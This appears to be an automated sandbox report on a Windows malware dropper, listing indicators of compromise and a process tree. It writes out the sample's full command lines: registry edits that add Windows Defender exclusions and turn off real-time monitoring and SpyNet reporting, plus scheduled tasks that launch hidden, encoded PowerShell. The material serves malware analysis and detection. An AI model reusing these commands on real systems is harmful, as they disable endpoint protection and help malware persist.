6d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	RueBuhr.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXERueBuhr.exe

pid	process
364	powershell.EXE
364	powershell.EXE
364	powershell.EXE
1084	powershell.EXE
1084	powershell.EXE
1084	powershell.EXE
800	powershell.EXE
800	powershell.EXE
800	powershell.EXE
1676	powershell.EXE
1676	powershell.EXE
1676	powershell.EXE
892	RueBuhr.exe
892	RueBuhr.exe
892	RueBuhr.exe
892	RueBuhr.exe
892	RueBuhr.exe
892	RueBuhr.exe
892	RueBuhr.exe
892	RueBuhr.exe
892	RueBuhr.exe
892	RueBuhr.exe
892	RueBuhr.exe
892	RueBuhr.exe
892	RueBuhr.exe
892	RueBuhr.exe
892	RueBuhr.exe
892	RueBuhr.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXE

description	pid	process
Token: SeDebugPrivilege	364	powershell.EXE
Token: SeDebugPrivilege	1084	powershell.EXE
Token: SeDebugPrivilege	800	powershell.EXE
Token: SeDebugPrivilege	1676	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exe

description	pid	process	target process
PID 1504 wrote to memory of 1536	1504	file.exe	Install.exe
PID 1504 wrote to memory of 1536	1504	file.exe	Install.exe
PID 1504 wrote to memory of 1536	1504	file.exe	Install.exe
PID 1504 wrote to memory of 1536	1504	file.exe	Install.exe
PID 1504 wrote to memory of 1536	1504	file.exe	Install.exe
PID 1504 wrote to memory of 1536	1504	file.exe	Install.exe
PID 1504 wrote to memory of 1536	1504	file.exe	Install.exe
PID 1536 wrote to memory of 764	1536	Install.exe	Install.exe
PID 1536 wrote to memory of 764	1536	Install.exe	Install.exe
PID 1536 wrote to memory of 764	1536	Install.exe	Install.exe
PID 1536 wrote to memory of 764	1536	Install.exe	Install.exe
PID 1536 wrote to memory of 764	1536	Install.exe	Install.exe
PID 1536 wrote to memory of 764	1536	Install.exe	Install.exe
PID 1536 wrote to memory of 764	1536	Install.exe	Install.exe
PID 764 wrote to memory of 980	764	Install.exe	forfiles.exe
PID 764 wrote to memory of 980	764	Install.exe	forfiles.exe
PID 764 wrote to memory of 980	764	Install.exe	forfiles.exe
PID 764 wrote to memory of 980	764	Install.exe	forfiles.exe
PID 764 wrote to memory of 980	764	Install.exe	forfiles.exe
PID 764 wrote to memory of 980	764	Install.exe	forfiles.exe
PID 764 wrote to memory of 980	764	Install.exe	forfiles.exe
PID 764 wrote to memory of 580	764	Install.exe	forfiles.exe
PID 764 wrote to memory of 580	764	Install.exe	forfiles.exe
PID 764 wrote to memory of 580	764	Install.exe	forfiles.exe
PID 764 wrote to memory of 580	764	Install.exe	forfiles.exe
PID 764 wrote to memory of 580	764	Install.exe	forfiles.exe
PID 764 wrote to memory of 580	764	Install.exe	forfiles.exe
PID 764 wrote to memory of 580	764	Install.exe	forfiles.exe
PID 980 wrote to memory of 2028	980	forfiles.exe	cmd.exe
PID 980 wrote to memory of 2028	980	forfiles.exe	cmd.exe
PID 980 wrote to memory of 2028	980	forfiles.exe	cmd.exe
PID 980 wrote to memory of 2028	980	forfiles.exe	cmd.exe
PID 980 wrote to memory of 2028	980	forfiles.exe	cmd.exe
PID 980 wrote to memory of 2028	980	forfiles.exe	cmd.exe
PID 980 wrote to memory of 2028	980	forfiles.exe	cmd.exe
PID 580 wrote to memory of 776	580	forfiles.exe	cmd.exe
PID 580 wrote to memory of 776	580	forfiles.exe	cmd.exe
PID 580 wrote to memory of 776	580	forfiles.exe	cmd.exe
PID 580 wrote to memory of 776	580	forfiles.exe	cmd.exe
PID 580 wrote to memory of 776	580	forfiles.exe	cmd.exe
PID 580 wrote to memory of 776	580	forfiles.exe	cmd.exe
PID 580 wrote to memory of 776	580	forfiles.exe	cmd.exe
PID 776 wrote to memory of 976	776	cmd.exe	reg.exe
PID 776 wrote to memory of 976	776	cmd.exe	reg.exe
PID 776 wrote to memory of 976	776	cmd.exe	reg.exe
PID 776 wrote to memory of 976	776	cmd.exe	reg.exe
PID 776 wrote to memory of 976	776	cmd.exe	reg.exe
PID 776 wrote to memory of 976	776	cmd.exe	reg.exe
PID 776 wrote to memory of 976	776	cmd.exe	reg.exe
PID 2028 wrote to memory of 1844	2028	cmd.exe	reg.exe
PID 2028 wrote to memory of 1844	2028	cmd.exe	reg.exe
PID 2028 wrote to memory of 1844	2028	cmd.exe	reg.exe
PID 2028 wrote to memory of 1844	2028	cmd.exe	reg.exe
PID 2028 wrote to memory of 1844	2028	cmd.exe	reg.exe
PID 2028 wrote to memory of 1844	2028	cmd.exe	reg.exe
PID 2028 wrote to memory of 1844	2028	cmd.exe	reg.exe
PID 776 wrote to memory of 452	776	cmd.exe	reg.exe
PID 776 wrote to memory of 452	776	cmd.exe	reg.exe
PID 776 wrote to memory of 452	776	cmd.exe	reg.exe
PID 776 wrote to memory of 452	776	cmd.exe	reg.exe
PID 776 wrote to memory of 452	776	cmd.exe	reg.exe
PID 776 wrote to memory of 452	776	cmd.exe	reg.exe
PID 776 wrote to memory of 452	776	cmd.exe	reg.exe
PID 2028 wrote to memory of 908	2028	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1504

C:\Users\Admin\AppData\Local\Temp\7zS3DAD.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1536

C:\Users\Admin\AppData\Local\Temp\7zS4664.tmp\Install.exe
.\Install.exe /S /site_id "525403"
3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:764

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:980

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:2028

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
6⤵
PID:1844

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
6⤵
PID:908

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:580

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:776

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
6⤵
PID:976

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
6⤵
PID:452

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gZjJANPQf" /SC once /ST 18:39:46 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
4⤵
- Creates scheduled task(s)
PID:1168

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gZjJANPQf"
4⤵
PID:1616

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gZjJANPQf"
4⤵
PID:1884

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "beNJzxXkYGhzSCmkZn" /SC once /ST 21:03:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\MMqPNYIplLDGwAY\KebTVHz.exe\" Qf /site_id 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:760

C:\Windows\system32\taskeng.exe
taskeng.exe {894E17D1-E6B1-4A7D-B3F8-72B3FEEB8E2C} S-1-5-21-999675638-2867687379-27515722-1000:ORXGKKZC\Admin:Interactive:[1]
1⤵
PID:576

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:364

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1072

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1084

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1736

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:800

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:776

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1676

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1480

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1460

C:\Windows\system32\taskeng.exe
taskeng.exe {1E02D143-393E-447C-8305-15EF49E434A3} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1068

C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\MMqPNYIplLDGwAY\KebTVHz.exe
C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\MMqPNYIplLDGwAY\KebTVHz.exe Qf /site_id 525403 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:1672

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gbvpnBdzx" /SC once /ST 10:59:29 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1532

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gbvpnBdzx"
3⤵
PID:1008

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gbvpnBdzx"
3⤵
PID:1464

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:1460

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1560

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:1488

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:972

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gNMVzbPGH" /SC once /ST 13:08:20 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:968

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gNMVzbPGH"
3⤵
PID:1112

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gNMVzbPGH"
3⤵
PID:1960

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
3⤵
PID:836

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1212

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1636

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1160

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1588

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1100

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1996

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1632

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\MNBTbrbBidagOXts\uGIOcIzp\eaJyKycLvkoMQQbI.wsf"
3⤵
PID:1884

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\MNBTbrbBidagOXts\uGIOcIzp\eaJyKycLvkoMQQbI.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:888

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1532

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1720

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1164

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1516

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1832

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:948

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1708

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:828

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1728

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:836

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2012

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:240

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1632

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1352

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1008

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:760

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1876

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1168

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:520

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1972

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1512

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:604

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1960

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:364

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1636

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1752

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:968

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1144

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1092

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1008

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1616

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1004

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gZVrWTpRc" /SC once /ST 04:12:34 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:360

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gZVrWTpRc"
3⤵
PID:1516

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gZVrWTpRc"
3⤵
PID:1996

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
3⤵
PID:1588

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
4⤵
PID:1336

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
3⤵
PID:652

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
4⤵
PID:1352

C:\Windows\SysWOW64\schtasks.exe
